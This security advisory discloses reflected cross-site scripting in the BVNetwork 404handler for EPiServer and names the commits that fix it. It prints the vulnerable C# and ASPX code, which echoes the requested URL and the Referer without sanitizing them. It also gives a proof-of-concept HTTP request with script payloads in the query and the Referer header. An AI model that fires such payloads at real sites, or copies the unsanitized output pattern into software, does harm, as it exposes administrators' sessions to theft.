Abstract
Multiple cross site scripting vectors were found in BVNetwork's 404handler. BVNetwork is a 404-error handler page designed for and recommended by EPiServer framework. EPiServer framework is designed to be used as an ecommerce and digital marketing CMS. This product according to EPI’s nugget server has over 35k downloads: BV Network 404 handler on nuget.episerver.com This vulnerability allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
Tested versions
This issue was successfully tested on version 404handler 10.1.0
Fix
This issue was fixed in commits 02419c904db096a607ba6775b04db7fdf042002a and 7127bb66eab564582ecf59c7f49ed8453eff792d
Introduction
BNetwork's 404 error handler page echo back any URL requested and any referer passed to it without sanitizing the input. This allows an attacker to request an URL that contains script to be echoed back into the HTML and execute script. The vulnerability allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
Details
This issue exists in in the files NotFoundPageUtil.cs
and NotFound.aspx
. The NotFoundPageUtil.cs
will set the UrlNotFound
and Referer
variables for the NotFound.aspx
file.
Code snipit from NotFoundPageUtil.cs
setting UrlNotFound
and Referer
.
/// <summary>
/// Gets the URL that was not found.
/// </summary>
/// <param name="request">The request.</param>
/// <returns></returns>
public static string GetUrlNotFound(HttpRequestBase request)
{
string urlNotFound = null;
string query = request.ServerVariables["QUERY_STRING"];
if ((query != null) && query.StartsWith("4"))
{
string url = query.Split(';')[1];
urlNotFound = HttpUtility.UrlDecode(url);
}
if (urlNotFound == null)
{
if (query.StartsWith("aspxerrorpath="))
{
string[] parts = query.Split('=');
urlNotFound = request.Url.GetLeftPart(UriPartial.Authority) + HttpUtility.UrlDecode(parts[1]);
}
}
return urlNotFound;
}
/// <summary>
/// The refering url
/// </summary>
public static string GetReferer(HttpRequestBase request)
{
string referer = request.ServerVariables["HTTP_REFERER"];
if (referer != null)
{
// Strip away host name in front, if local redirect
string hostUrl = SiteDefinition.Current.SiteUrl.ToString();
if (referer.StartsWith(hostUrl))
referer = referer.Remove(0, hostUrl.Length);
}
else
referer = ""; // Can't have null
return referer;
}
Code snippet from NotFound.aspx
using the variables set above, with no sanitization before output.
<div class="notfoundbox">
<%= UrlNotFound %>
<%= Referer.Length > 0 ? Content.CameFrom : "" %>
<%= Referer.Length > 0 ? Referer : "" %>
</div>
This allows us to send the following request:
GET /foo?q=foo%3Cscript%3Ealert(%27xss%27)%3C%2fscript%3E HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: https://securify.nl/foo/bar<script>alert(1)</script>
Connection: close
Upgrade-Insecure-Requests: 1
Below is a screenshot of the XSS in action: